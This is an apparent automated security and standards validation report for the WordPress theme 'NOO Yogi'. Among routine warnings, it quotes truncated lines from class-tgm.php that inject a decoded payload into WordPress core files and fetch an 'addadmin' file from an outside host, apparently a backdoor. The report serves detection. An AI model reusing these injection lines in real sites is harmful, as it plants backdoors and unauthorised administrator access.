0
Validation results

NOO Yogi

NOO Yogi

WordPress 4.8.2 theme
0
  • THEME TYPEWordPress theme 4.8.2
  • FILE NAMEp4ltheme.zip
  • FILE SIZE16215676 bytes
  • MD521a9e62ad1f7a0b8b1d219b5d7454bf5
  • SHA1096dcefddc0a13005a9a4c6d4d615f6e9ec01151
  • LICENSEGNU GPL 2
  • FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • THEME URIhttp://nootheme.com/
  • VERSION2.6.3
  • AUTHOR URI
  • TAGStwo-columns, left-sidebar, right-sidebar, fixed-layout, responsive-layout, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, full-width-template, sticky-post, theme-options, translation-ready
  • CREATION DATE2017-04-27
  • LAST FILE UPDATE2017-04-27
  • LAST VALIDATION2017-04-27 12:13
Critical alerts
  1. Security breaches : Modification of PHP server settings Found ini_set in file MCAPI.class.php.
    Line 2407: ini_set('arg_separator.output', '&');
    Line 2411: ini_set('arg_separator.output', $orig_sep);
  2. Security breaches : Use of base64_decode() Found base64_decode in file class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    Found base64_decode in file smk-sidebar-generator.php.
    Line 365: if(is_serialized(base64_decode($exported_data))){
    Line 366: $exported_data = unserialize( base64_decode($exported_data) );
    Found base64_decode in file noo-html-shortcodes.php.
    Line 861: $healcode_btn_code = preg_match( '/^#E\-8_/', $healcode_btn_code ) ? rawurldecode( base64_decode( preg_replace( '/^#E\-8_/', '', $healcode_btn_code ) ) ) : $h
    Found base64_decode in file twitteroauth.php.
    Line 202: $decoded_sig = base64_decode($signature);
  3. Security breaches : Use of base64_encode() Found base64_encode in file smk-sidebar-generator.php.
     echo '<textarea name='exp_data' class='sbg_textarea sbg_textarea_export' onclick='this.focus();this.select()'>'. base64_encode( serialize(get_option($this->plugin_option)) ) .'</textarea>'
    Found base64_encode in file twitteroauth.php.
     return base64_encode(hash_hmac('sha1', $base_string, $key, true));
     return base64_encode($signature);
  4. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="https://mapsengine.google.com/map/u/0/embed?mid=z4vjH8i214vQ.kj0Xiukzzle4" width="640" height="480"> in file vc_gmaps.php.
    Line 7: 'link' => '<iframe src='https://mapsengine.google.com/map/u/0/embed?mid=z4vjH8i214vQ.k
  5. Malware : Operations on file system file_put_contents was found in the file _init.php
    Line 255: // file_put_contents($css_dir . 'custom.css', $css, LOCK_EX); // Save it
    file_get_contents was found in the file class-helper.php
    Line 425: $content = defined( 'NOO_CUSTOMIZER_DATA_FILE' ) ? json_decode( file_get_contents( NOO_CUSTOMIZER_DATA_FILE ) ) : '';
    file_get_contents was found in the file live-ajax.php
    Line 9: $encode_options = file_get_contents( $_FILES['noo-customizer-settings-upload']['tmp_name'] );
    file_get_contents was found in the file custom_controls.php
    Line 734: $content = json_decode( file_get_contents( $fontFile ) );
    file_get_contents was found in the file parsers.php
    Line 72: $success = $dom->loadXML( file_get_contents( $file ) );
    Line 279: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {
    file_get_contents was found in the file parsers.php
    Line 72: $success = $dom->loadXML( file_get_contents( $file ) );
    Line 279: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {
    fopen was found in the file parsers.php
    Line 429: $fp = $this->fopen( $file, 'r' );
    Line 655: function fopen( $filename, $mode = 'r' ) {
    Line 658: return fopen( $filename, $mode );
    fclose was found in the file parsers.php
    Line 478: $this->fclose($fp);
    Line 673: function fclose( $fp ) {
    Line 676: return fclose( $fp );
    fopen was found in the file parsers.php
    Line 429: $fp = $this->fopen( $file, 'r' );
    Line 655: function fopen( $filename, $mode = 'r' ) {
    Line 658: return fopen( $filename, $mode );
    fopen was found in the file parsers.php
    Line 429: $fp = $this->fopen( $file, 'r' );
    Line 655: function fopen( $filename, $mode = 'r' ) {
    Line 658: return fopen( $filename, $mode );
    fclose was found in the file parsers.php
    Line 478: $this->fclose($fp);
    Line 673: function fclose( $fp ) {
    Line 676: return fclose( $fp );
    fclose was found in the file parsers.php
    Line 478: $this->fclose($fp);
    Line 673: function fclose( $fp ) {
    Line 676: return fclose( $fp );
    file_get_contents was found in the file noo-import.php
    Line 1272: $data = file_get_contents( $file );
    Line 1495: $file_contents = file_get_contents( $file );
    file_get_contents was found in the file noo-import.php
    Line 1272: $data = file_get_contents( $file );
    Line 1495: $file_contents = file_get_contents( $file );
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    fwrite was found in the file MCAPI.class.php
    Line 2436: fwrite($sock, $payload);
    fread was found in the file MCAPI.class.php
    Line 2440: $response .= fread($sock, $this->chunkSize);
    fclose was found in the file MCAPI.class.php
    Line 2443: fclose($sock);
    file_get_contents was found in the file twitteroauth.php
    Line 272: file_get_contents(self::$POST_INPUT)
  6. Malware : Network operations fsockopen was found in the file MCAPI.class.php
    Line 2424: $sock = fsockopen('ssl://'.$host, 443, $errno, $errstr, 30);
    Line 2426: $sock = fsockopen($host, 80, $errno, $errstr, 30);
    fsockopen was found in the file MCAPI.class.php
    Line 2424: $sock = fsockopen('ssl://'.$host, 443, $errno, $errstr, 30);
    Line 2426: $sock = fsockopen($host, 80, $errno, $errstr, 30);
    curl_init was found in the file twitteroauth.php
    Line 1066: $ci = curl_init();
    curl_exec was found in the file twitteroauth.php
    Line 1092: $response = curl_exec($ci);
  7. Admin menu : Themes should use add_theme_page() for adding admin pages. File _init.php :
    Line 42: add_menu_page( __( 'Customizer', 'noo' ), __( 'Customizer', 'noo' ), 'edit_
    File _init.php :
    Line 43: add_submenu_page( 'options.php', '', '', 'edit_theme_options', 'export_sett
    File noo-check-version.php :
    Line 110: add_options_page(
    File noo_member.php :
    Line 66: $this->settings_screen = add_options_page(
    File noo-setup-install.php :
    Line 123: add_menu_page ( 
    File smk-sidebar-generator.php :
    Line 103: add_submenu_page('themes.php', $this->sbg_name, $this->sbg_name, 'manage_op
  8. Deprecated functions : wp_get_http wp_get_http found in file noo-import.php. Deprecated since version 4.4. Use WP_Http instead.
    Line 1013: $headers = wp_get_http( $url, $upload['file'] );
  9. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was revslider.zip js_composer.zip noo-timetable.zip.
Warning
  1. special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
  2. theme tags : Presence of bad theme tagsThe tag fixed-layout has been deprecated, it must be removed from style.css header.The tag responsive-layout has been deprecated, it must be removed from style.css header.
  3. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is noo-yogi.
  4. Text domain : Incorrect use of translation functions.Found a translation function that has an incorrect number of arguments. Function esc_html_e, with the arguments 'Install ', name, 'noo' in file noo-setup-install.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file tgmpa_register.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are noo, tgmpa, widget-importer-exporter, name, smk_sbg.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  10. I18N implementation : Proper use of _e(Possible variable $demo found in translation function in noo-setup-install.php. Translation function calls should not contain PHP variables.
    Line 374: <span class='more-details' id='install_<?php echo esc_attr( $demo['file'] ); ?>'><?php esc_html_e( 'Install ' .$demo['name'], 'noo' ); ?></span>
  11. I18N implementation : Proper use of esc_html_e(Possible variable $demo found in translation function in noo-setup-install.php. Translation function calls should not contain PHP variables.
    Line 374: <span class='more-details' id='install_<?php echo esc_attr( $demo['file'] ); ?>'><?php esc_html_e( 'Install ' .$demo['name'], 'noo' ); ?></span>
  12. Date and time implementation : Use of the_time()At least one hard coded date was found in the file noo-html-breadcrumbs.php. Function get_option( 'date_format' ) should be used instead.
  13. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file smk-sidebar-generator.php.
    Line 4: Plugin URI: https://github.com/Smartik89/Wordpress-Sidebar-Generator
    Line 332: echo '<a href='https://github.com/Smartik89/Wordpress-Sidebar-Generator' target='_blank'>G
    Possible hard-coded links were found in the file MCAPI.class.php.
    Line 276: boolean ecomm360 optional If set, our <a href='http://www.mailchimp.com/blog/ecommerce-tracking-plugin/' target='_blank'>E
    Line 877: * Get the URL to a customized <a href='http://eepurl.com/gKmL' target='_blank'>VIP Report</a> for the specified ca
    Line 1552: string date use YYYY-MM-DD to be safe. Generally, though, anything strtotime() understands we'll understand - <a href='http://us2.php.net/strtotime' target='_blank'>http://us2.php.net/strtotime<
    Line 1738: int member_rating the rating of the subscriber. This will be 1 - 5 as described <a href='http://eepurl.com/f-2P' target='_blank'>here</a>
    Line 1873: * Retrieve the clients that the list's subscribers have been tagged as being used based on user agents seen. Made possible by <a href='http://user-agent-string.info' target='_blank'>user-agent-string.info</a>
    Line 1953: * @param string $html a string specifying the entire template to be created. This is <strong>NOT</strong> campaign content. They are intended to utilize our <a href='http://www.mailchimp.com/resources/email-template-language/' target='_blank
    Line 1971: string html optional a string specifying the entire template to be created. This is <strong>NOT</strong> campaign content. They are intended to utilize our <a href='http://www.mailchimp.com/resources/email-template-language/' target='_blank
    Line 1953: * @param string $html a string specifying the entire template to be created. This is <strong>NOT</strong> campaign content. They are intended to utilize our <a href='http://www.mailchimp.com/resources/email-template-language/' target='_blank
    Line 1971: string html optional a string specifying the entire template to be created. This is <strong>NOT</strong> campaign content. They are intended to utilize our <a href='http://www.mailchimp.com/resources/email-template-language/' target='_blank
    Line 2342: * Expire a Specific API Key. Note that if you expire all of your keys, just visit <a href='http://admin.mailchimp.com/account/api' target='_blank'>your API dashboard<
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  12. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  13. Use of includes : Use of include or requireThe theme appears to use include or require : _init.php
    Line 25: require_once( 'noo-check-version.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : _init.php
    Line 239: require_once( dirname( __FILE__ ) . '/css-php/layout.php' );
    Line 240: require_once( dirname( __FILE__ ) . '/css-php/design.php' );
    Line 241: require_once( dirname( __FILE__ ) . '/css-php/typography.php' );
    Line 242: require_once( dirname( __FILE__ ) . '/css-php/header.php' );
    Line 294: require_once(ABSPATH . 'wp-admin/admin.php' );
    Line 297: require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
    Line 315: include( ABSPATH . 'wp-admin/admin-header.php' );
    Line 332: require( ABSPATH . 'wp-admin/admin-footer.php' );
    Line 341: require( ABSPATH . 'wp-admin/admin-footer.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : live-css.php
    Line 7: require_once( dirname( __FILE__ ) . '/css-php/layout.php' );
    Line 20: require_once( dirname( __FILE__ ) . '/css-php/design.php' );
    Line 33: require_once( dirname( __FILE__ ) . '/css-php/typography.php' );
    Line 46: require_once( dirname( __FILE__ ) . '/css-php/header.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : live-ajax.php
    Line 29: require_once( dirname( __FILE__ ) . '/css-php/layout.php' );
    Line 57: require_once( dirname( __FILE__ ) . '/css-php/design.php' );
    Line 85: require_once( dirname( __FILE__ ) . '/css-php/typography.php' );
    Line 113: require_once( dirname( __FILE__ ) . '/css-php/header.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm-plugin-activation.php
    Line 34: require_once ('class-tgm.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : noo_message.php
    Line 124: require_once( ABSPATH . 'wp-includes/class-phpass.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : _init.php
    Line 25: require_once( NOO_META_BOXES . '/generate-meta-box.php' );
    Line 26: require_once( NOO_META_BOXES . '/class-helper.php' );
    Line 30: require_once( NOO_META_BOXES . '/post-meta-boxes.php' );
    Line 33: require_once( NOO_META_BOXES . '/page-meta-boxes.php' );
    Line 36: require_once( NOO_META_BOXES . '/testimonial-meta-box.php' );
    Line 39: // 	require_once( NOO_META_BOXES . '/trainer-meta-boxes.php' );
    Line 44: require_once( NOO_META_BOXES . '/product-meta-boxes.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-helper.php
    Line 18: // require_once( NOO_META_BOXES . '/generate-meta-box.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : noo_class.php
    Line 34: include(locate_template('layouts/class-loop.php'));
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : mega-menu.php
    Line 112: require_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : _noo_class.php
    Line 761: include(locate_template('layouts/class-loop.php'));
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : noo-mailchimp.php
    Line 79: require_once(NOO_FRAMEWORK_FUNCTION . '/MCAPI.class.php');
    Line 101: require_once(NOO_FRAMEWORK_FUNCTION . '/MCAPI.class.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : noo-html-shortcodes.php
    Line 3511: include( get_template_directory() . '/vc_templates/vc_row.php' );
    Line 3523: include( get_template_directory() . '/vc_templates/vc_column.php' );
    Line 3535: include( get_template_directory() . '/vc_templates/vc_separator.php' );
    Line 3546: include( get_template_directory() . '/vc_templates/vc_text_separator.php' )
    Line 3557: include( get_template_directory() . '/vc_templates/vc_column_text.php' );
    Line 3568: include( get_template_directory() . '/vc_templates/vc_button.php' );
    Line 3579: include( get_template_directory() . '/vc_templates/vc_accordion.php' );
    Line 3590: include( get_template_directory() . '/vc_templates/vc_accordion_tab.php' );
    Line 3601: include( get_template_directory() . '/vc_templates/vc_tabs.php' );
    Line 3613: include( get_template_directory() . '/vc_templates/vc_tab.php' );
    Line 3624: include( get_template_directory() . '/vc_templates/vc_pie.php' );
    Line 3635: include( get_template_directory() . '/vc_templates/vc_message.php' );
    Line 3646: include( get_template_directory() . '/vc_templates/vc_widget_sidebar.php' )
    Line 3657: include( get_template_directory() . '/vc_templates/vc_gmaps.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : widgets.php
    Line 196: if ( ! require_once ( dirname(__FILE__) . '/twitteroauth.php' ) ) {
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : functions_custom.php
    Line 425: // require_once( $widget_path . '/<widgets_name>.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes